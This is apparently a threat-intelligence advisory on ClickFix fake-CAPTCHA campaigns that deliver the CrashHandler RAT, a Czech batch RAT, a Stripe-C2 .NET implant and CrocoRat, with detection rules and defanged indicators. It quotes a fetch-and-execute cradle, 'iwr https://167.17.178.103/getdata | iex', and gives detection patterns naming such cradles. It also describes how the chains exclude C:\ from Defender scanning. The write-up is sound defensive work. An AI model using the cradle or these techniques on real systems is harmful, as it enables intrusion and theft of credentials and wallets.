# ClickFix in the Wild: New RATs (CrashHandler, CrocoRat), Stripe-Based C2, and Signed Google Tool Abused to Weaken Microsoft Defender

> Flare Research documented multiple fake-CAPTCHA/verification ClickFix campaigns (late Aug-Sep 2026) delivering previously undocumented payloads: the Go-loaded CrashHandler RAT, a Czech-targeted batch/PureBasic RAT, a .NET implant using the Stripe API as a C2 dead drop, and the Python-based CrocoRat that receives its next-stage command via a DNS TXT response. One chain abused a legitimately signed Google-signed utility to exclude C:\ from Microsoft Defender scanning.

- **Published:** 2026-11-14T08:18:29Z
- **Last reviewed:** 2026-11-14T08:18:29Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-6056
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-6056.png
- **ID:** TL-2026-6056
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 34 (3 shown free below)

## Description

Flare Research (author Assaf Morag) analysed five ClickFix chains captured over two days at the end of August 2026 plus follow-on CrocoRat captures in late August and late September 2026. In every chain a fake Cloudflare/reCAPTCHA/'I am not a robot' page silently writes an attacker-controlled command to the clipboard with navigator.clipboard.writeText() and instructs the victim to press Win+R, Ctrl+V, Enter. Because the victim launches the command, browser and email defences are bypassed; the visible portion of the command is often padded or reassuring (for example the Czech string 'Nejsem ROBOT', which lands in the RunMRU key) while the real payload URL is hidden by length, string reversal plus Invoke-Expression, or an external pointer.

Case 1 (DMarket lookalike, CrashHandler RAT): the fake Cloudflare check serves a dynamic clipboard command. The loader checks for admin rights (relaunching itself via %TEMP% and triggering UAC if needed), downloads script.ps1 from lijil.icu and runs it against C:\. Flare describes script.ps1 as a legitimate utility, signed by Google LLC (DigiCert EV certificate, valid 2024-04-08 to 2027-04-10), whose purpose is adding paths to the Defender folder-exclusion list; it was repurposed to exclude the whole C:\ drive. A password-protected ZIP (password oldkf2026) and 7za.exe deliver an MSI, installed silently with msiexec /qn /norestart, that drops two Go loaders (32-bit MicrosoftEdge.exe, 64-bit ElevationChrome.exe). The 32-bit loader hides ~447 KB of AES-encrypted data in a .pdata section and loads a managed .NET payload in-process via the CLR (nothing touches disk). Anti-analysis includes forged Go versions and PE timestamps, -trimpath, a minimal kernel32 import table with runtime API resolution. Persistence is a copy named GoogleCrashHandler.exe under %APPDATA%\Microsoft\Edge\Core\ plus a registry Run value; C2 is TCP/TLS to 95.85.238.53:56001. Capabilities inferred from dependencies include WMI host fingerprinting, screen capture and TLS comms; a relationship to AsyncRAT is only a hypothesis.

Case 2 (Czech Microsoft typosquat login.microsoftofice.cz): a Czech-language 'verify you are human' page leads to Windows_Repair.zip (AES-encrypted, password Lopata) and a renamed 7-Zip (7za.png -> 7za.exe) staged on kupujto.unas.cz. Two PureBasic batch-to-EXE wrappers (RuntimeBroker.exe and 'Microsoft Aggregator SubHost.exe', UPX-packed) run embedded batch scripts that fingerprint the host, poll name.html (target selector by COMPUTERNAME/USERNAME or 'universal') and comm.html (command) about every five seconds, execute the first line of the command under a pasec.txt 'lodyha' guardrail, and POST output to pages2.php. Persistence is a Startup-folder LNK; a finish.vbs shows a decoy Czech IT-department dialog. The exfiltration marker string —OKOKOK— in POST bodies is Flare's best network indicator.

Case 3 (Howdens impersonation, Stripe C2): an encoded PowerShell command delivers stripe.exe, an unsigned .NET RAT (command execution, screen capture, file transfer, adjustable beaconing, disguised browser traffic). It copies itself to %APPDATA%\Microsoft\Windows\WinSxS\MsMpEng.exe to impersonate Defender and uses api.stripe.com as a dead drop: it creates a Stripe customer object with a unique ID and system info, polls metadata (pending_cmd) for commands, writes results to other metadata fields and chunks screenshots/files across multiple objects (total_objects, obj_ids, xfer_id, last_seen). Flare notes a June 2026 Magecart campaign used a similar Stripe dead-drop. Case 4 delivered only an HTA that launched calc.exe (purpose unclear, payload could be swapped at any time); Case 5 used a Telegram channel description as a changeable pointer to a payload domain (https://<domain>/download/install) and could not be confirmed.

CrocoRat: the lure page fetches /command.php and copies a PowerShell one-liner that runs Resolve-DnsName for a TXT record against the attacker's own resolver (167.17.178.103). The TXT answer contains 'iwr https://167.17.178.103/getdata | iex', so the real instruction never appears in the pasted string (DNS is staging only, not an ongoing C2 channel). Stage 2 rebuilds C:\ProgramData\App, downloads update.zip containing a bundled pythonw.exe and runner.py/run.py, and registers scheduled tasks AppUpdatePythonRunner (at logon) and AdvancedIPRun (every 15 minutes). The loader fetches an AES-GCM key from 103.56.84.221:8080/get_config, decrypts and runs the RAT client in memory ('CrocoRat 1.0 HTTPS Client'). On hosts where USERDOMAIN equals COMPUTERNAME it also runs a browser stealer (Chrome/Edge/Brave, DLL injection, named pipes, App-Bound Encryption bypass indicators) and a collector for 22 crypto-wallet families and BIP39 seed phrases, archived as data_{hostname}.zip and exfiltrated to 41.216.182.164, alterzaf.com and later 151.241.99.87.

Impact: infostealer-class payloads can expose corporate SSO tokens, business sessions, internal documents and cloud secrets (per Flare/Push Security); Microsoft identifies LummaStealer as the most prolific ClickFix final payload. No CVE, named actor or attribution is stated in the sources; the cases appear to be separate operators sharing the ClickFix delivery technique.

## MITRE ATT&CK

- T1204.004 Malicious Copy and Paste
- T1059.001 PowerShell
- T1059.003 Windows Command Shell
- T1059.005 Visual Basic
- T1059.006 Python
- T1218.005 Mshta
- T1685 Disable or Modify Tools
- T1036.005 Match Legitimate Resource Name or Location
- T1027 Obfuscated Files or Information
- T1027.002 Software Packing
- T1620 Reflective Code Loading
- T1140 Deobfuscate/Decode Files or Information
- T1547.001 Registry Run Keys / Startup Folder
- T1053.005 Scheduled Task
- T1071.001 Web Protocols
- T1102.002 Bidirectional Communication
- T1071.004 DNS
- T1082 System Information Discovery
- T1555.003 Credentials from Web Browsers
- T1005 Data from Local System
- T1583.001 Domains

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**ClickFix Paste-and-Run: Interpreter Launched by Explorer With Download Cradle or DNS TXT Staging (TL-2026-6056)** (`TL-2026-6056-SPL-001`)

Detects the ClickFix execution step used by CrashHandler RAT, the Czech batch RAT, the Stripe-C2 .NET implant and CrocoRat: PowerShell, mshta, cmd or curl spawned directly by explorer.exe (Win+R, Ctrl+V, Enter) carrying an iwr|iex cradle, a Resolve-DnsName TXT lookup against an explicit attacker resolver (167.17.178.103), a reversed-string or encoded command, a remote mshta URL, the Czech lure string 'Nejsem ROBOT', or Flare-reported IOC domains and IPs. Because the victim runs the command, mail and browser controls are bypassed; the process-lineage behaviour is the reliable signal.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1204.004, T1059.001, T1218.005, T1140
- **Data sources:** Sysmon Operational EventCode 1 (index=sysmon), Microsoft Defender for Endpoint DeviceProcessEvents, Windows Security 4688 with command line auditing
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-24h ParentImage="*\\explorer.exe" (Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\mshta.exe" OR Image="*\\cmd.exe" OR Image="*\\curl.exe")
| eval cl=lower(CommandLine)
| eval indicator=case(match(cl,"resolve-dnsname.* -type +txt.* -server"),"dns_txt_staging", match(cl,"(iwr|invoke-webrequest|irm|invoke-restmethod).*[|] *(iex|invoke-expression)"),"download_cradle_pipe_iex", match(cl,"mshta[^ ]* +.?https?://"),"mshta_remote_url", match(cl,"lijil[.]icu|veriffication-redirect[.]com|microsoftofice[.]cz|kupujto[.]unas[.]cz|howclens[.]com|167[.]17[.]178[.]103|95[.]85[.]238[.]53|103[.]56[.]84[.]221|nejsem robot"),"known_ioc_or_lure_string", match(cl,"reverse") AND match(cl,"iex|invoke-expression"),"reversed_string_iex", match(cl,"-(enc|encodedcommand) +[a-z0-9+/=]{40,}"),"encoded_command", true(),null())
| where isnotnull(indicator)
| stats count min(_time) as first_seen max(_time) as last_seen values(indicator) as indicators values(CommandLine) as command_lines by host, User, ParentImage, Image
| convert ctime(first_seen) ctime(last_seen)
```

### Microsoft KQL

```kql
let lookback = 24h;
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName =~ 'explorer.exe'
| where FileName in~ ('powershell.exe','pwsh.exe','mshta.exe','cmd.exe','curl.exe')
| extend cl = tolower(ProcessCommandLine)
| extend Indicator = case(
    cl has 'resolve-dnsname' and cl has 'txt' and cl has '-server', 'dns_txt_staging',
    cl matches regex @'(iwr|invoke-webrequest|irm|invoke-restmethod).*\|\s*(iex|invoke-expression)', 'download_cradle_pipe_iex',
    cl matches regex @'mshta[^ ]*\s+.?https?://', 'mshta_remote_url',
    cl has_any ('lijil.icu','veriffication-redirect.com','microsoftofice.cz','kupujto.unas.cz','howclens.com','167.17.178.103','95.85.238.53','103.56.84.221','nejsem robot'), 'known_ioc_or_lure_string',
    cl has 'reverse' and cl has_any ('iex','invoke-expression'), 'reversed_string_iex',
    cl matches regex @'-(enc|encodedcommand)\s+[a-z0-9+/=]{40,}', 'encoded_command',
    '')
| where Indicator != ''
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, Indicator
| order by Timestamp desc
```

### Sigma

```yaml
title: ClickFix Paste-and-Run Interpreter Launched From Explorer With Download Cradle or DNS TXT Staging
id: 5c1f7a42-8e3b-4d6a-9b21-3f0a6c7d1e01
status: experimental
description: Detects PowerShell, mshta, cmd or curl launched directly by explorer.exe (Win+R paste) with a download-and-execute cradle, a Resolve-DnsName TXT lookup against an explicit resolver, an encoded command, a remote mshta URL, or ClickFix lure strings and infrastructure reported in TL-2026-6056.
references:
  - https://flare.io/learn/resources/blog/clickfix-attacks-summary
  - https://flare.io/learn/resources/blog/crocorat-clickfix-dns-payload-delivery
  - https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/
author: Threadlinqs Team
date: 2026-11-14
tags:
  - attack.execution
  - attack.t1204.004
  - attack.t1059.001
  - attack.defense-evasion
  - attack.t1218.005
  - attack.t1140
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\explorer.exe'
  selection_image:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\mshta.exe'
      - '\cmd.exe'
      - '\curl.exe'
  selection_cradle:
    CommandLine|contains:
      - '| iex'
      - '|iex'
      - '| Invoke-Expression'
      - '|Invoke-Expression'
      - 'mshta http'
      - '-EncodedCommand'
      - 'Nejsem ROBOT'
      - 'lijil.icu'
      - 'veriffication-redirect.com'
      - 'microsoftofice.cz'
      - 'kupujto.unas.cz'
      - 'howclens.com'
      - '167.17.178.103'
      - '95.85.238.53'
      - '103.56.84.221'
  selection_dnstxt:
    CommandLine|contains|all:
      - 'Resolve-DnsName'
      - 'TXT'
      - '-Server'
  condition: selection_parent and selection_image and (selection_cradle or selection_dnstxt)
falsepositives:
  - Administrators pasting a legitimate one-liner into the Run dialog
  - Software deployment helpers launched from Explorer that use encoded commands
level: high

```

**Known false positives:**

- Administrators or help-desk staff pasting a legitimate PowerShell one-liner into Win+R
- Developer tooling that launches an encoded PowerShell command from Explorer

**Tuning notes:** Adjust the index name to your Sysmon index and ensure process-creation command lines are collected. Allowlist known admin accounts or hosts that legitimately paste commands into Run. Enable the lure-string and IOC branch only after confirming it does not duplicate your IOC matching. Add new lure strings or resolver IPs as new ClickFix cases appear.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- ClickFix Staged Payload Delivery: Password-Protected 7za Extraction, Silent MSI Install and Remote mshta (TL-2026-6056) (locked: unlock with TL Creds)
- CrashHandler and Czech RAT Persistence and Masquerading: GoogleCrashHandler, Fake MsMpEng, RuntimeBroker and SubHost Loaders (TL-2026-6056) (locked: unlock with TL Creds)
- ClickFix Campaign Infrastructure Contact and DNS TXT Staging to Explicit Resolver (TL-2026-6056) (locked: unlock with TL Creds)
- ClickFix Run Dialog History (RunMRU) Contains Pasted Interpreter or Download Command (TL-2026-6056) (locked: unlock with TL Creds)
- CrocoRat Scheduled Tasks and Bundled pythonw.exe Running From [indicator] (TL-2026-6056) (locked: unlock with TL Creds)
- CrocoRat Browser Tampering and Wallet Archive Staging by Python From ProgramData App (TL-2026-6056) (locked: unlock with TL Creds)
- Microsoft Defender Exclusion Added for Whole C:\ Drive (CrashHandler Signed Utility Abuse) (TL-2026-6056) (locked: unlock with TL Creds)
- Stripe API Dead-Drop C2 From Non-Browser Process and Fake MsMpEng.exe Network Activity (TL-2026-6056) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 34)

Defanged, TLP:CLEAR.

- IP address: `95.85.238[.]53`
- Domain: `lijil[.]icu`
- URL: `hxxps://t[.]me/+GxJlJOY5yasyNTI0`

Full set of 34 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [ClickFix in the Wild: New RATs, Stripe-Based C2, and a Signed Google Tool Turned Against Defender](https://flare.io/learn/resources/blog/clickfix-attacks-summary)
- [Flare: Hunting ClickFix Attacks - Deep Dive (CrashHandler RAT, Stripe C2, Telegram dead drop)](https://flare.io/learn/resources/blog/hunting-clickfix-attacks-deep-dive)
- [Flare: CrocoRat - ClickFix DNS Payload Delivery](https://flare.io/learn/resources/blog/crocorat-clickfix-dns-payload-delivery)
- [Flare: Inside a Microsoft Lookalike Domain Masquerading as Czech Company's IT Department Infrastructure](https://flare.io/learn/resources/blog/microsoft-lookalike-domain-clickfix-campaign)
- [Microsoft: Think before you Click(Fix): Analyzing the ClickFix social engineering technique](https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/)
- [Push Security: ClickFix variants](https://pushsecurity.com/solution/stop-browser-based-attacks/clickfix-fix-variants)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-6056